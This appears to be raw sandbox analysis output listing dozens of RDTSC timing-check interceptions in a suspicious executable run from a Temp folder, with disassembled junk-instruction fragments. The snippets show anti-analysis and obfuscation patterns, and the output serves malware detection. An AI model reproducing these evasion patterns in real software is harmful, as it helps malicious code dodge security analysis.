Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8230C second address: E82310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E81A68 second address: E81AAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A75h 0x00000007 jmp 00007F099D172A6Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F099D172A74h 0x00000015 jnp 00007F099D172A68h 0x0000001b push edi 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E81FF0 second address: E82002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F099C53410Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E88DE1 second address: E88E1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F099D172A6Dh 0x0000000a jno 00007F099D172A6Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F099D172A78h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E88E1B second address: E88E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8978D second address: E89791 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E89D13 second address: E89D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E89D19 second address: E89D1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8FB6E second address: E8FB72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8FB72 second address: E8FB82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F099D172A66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8FB82 second address: E8FB86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8FB86 second address: E8FB8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8FB8A second address: E8FB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DE5E48 second address: DE5E4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8EC63 second address: E8EC6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8EC6B second address: E8EC70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8EC70 second address: E8EC82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099C53410Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8EC82 second address: E8EC86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8EC86 second address: E8EC94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F099C53410Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8EF5E second address: E8EF63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8EF63 second address: E8EF6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8EF6E second address: E8EF74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8EF74 second address: E8EF83 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8EF83 second address: E8EF89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8EF89 second address: E8EF94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F099C534106h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8EF94 second address: E8EF9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8EF9A second address: E8EF9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8F12C second address: E8F178 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A70h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007F099D172A66h 0x00000014 jmp 00007F099D172A75h 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push ecx 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 jnl 00007F099D172A66h 0x00000026 pop ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 jng 00007F099D172A66h 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8F178 second address: E8F182 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F099C534106h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8F182 second address: E8F188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8F2D3 second address: E8F2EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F099C534112h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8F5C9 second address: E8F5D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8F5D1 second address: E8F5D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8F72A second address: E8F73C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8F73C second address: E8F746 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F099C53410Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8F746 second address: E8F74E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8F74E second address: E8F752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8F752 second address: E8F76E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F099D172A66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F099D172A6Ch 0x00000016 jne 00007F099D172A66h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E8F76E second address: E8F774 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E94742 second address: E9474A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E9C4B3 second address: E9C4D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 jne 00007F099C534106h 0x0000000c jmp 00007F099C534110h 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E9C635 second address: E9C63C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E9C7C4 second address: E9C7CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E9CA59 second address: E9CA98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F099D172A66h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007F099D172A6Eh 0x00000014 jnp 00007F099D172A6Ch 0x0000001a jnp 00007F099D172A66h 0x00000020 jmp 00007F099D172A73h 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E9CBE7 second address: E9CBF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F099C534112h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E9CBF7 second address: E9CBFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E9DC93 second address: E9DCA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F099C53410Bh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E9DCA2 second address: E9DCD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a jmp 00007F099D172A76h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push ebx 0x00000013 jnl 00007F099D172A66h 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EA378A second address: EA378E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EA378E second address: EA37A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F099D172A66h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EA37A0 second address: EA37B0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F099C534106h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EA37B0 second address: EA37BA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EA8020 second address: EA8052 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C534118h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F099C534111h 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EB8EE3 second address: EB8EEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EB8EEC second address: EB8F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 jnp 00007F099C534106h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F099C534112h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EB8AC6 second address: EB8ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EB8ACC second address: EB8AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EBBB4B second address: EBBB4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EBBB4F second address: EBBB6C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F099C534117h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EBBB6C second address: EBBB80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F099D172A68h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EBBB80 second address: EBBB87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EBB5D6 second address: EBB5E5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F099D172A66h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EBB73F second address: EBB743 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EBB743 second address: EBB751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F099D172A6Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EC9C0A second address: EC9C39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F099C534112h 0x0000000f jmp 00007F099C534113h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EC9C39 second address: EC9C52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: ED190C second address: ED1914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: ED1914 second address: ED1929 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F099D172A6Dh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: ED1C31 second address: ED1C4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C534112h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: ED1C4F second address: ED1C5F instructions: 0x00000000 rdtsc 0x00000002 je 00007F099D172A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: ED1D80 second address: ED1D85 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: ED1D85 second address: ED1D9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F099D172A66h 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007F099D172A66h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: ED1D9B second address: ED1D9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: ED1D9F second address: ED1DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F099D172A66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F099D172A6Fh 0x00000012 pop eax 0x00000013 js 00007F099D172A6Eh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: ED2023 second address: ED2029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EF3695 second address: EF36A9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F099D172A66h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007F099D172A79h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EF5508 second address: EF550E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EF550E second address: EF5512 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EF5512 second address: EF5531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F099C534106h 0x00000014 jmp 00007F099C53410Bh 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EF5531 second address: EF5541 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnl 00007F099D172A66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EF5541 second address: EF554B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F099C534106h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: EF554B second address: EF5555 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F099D172A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
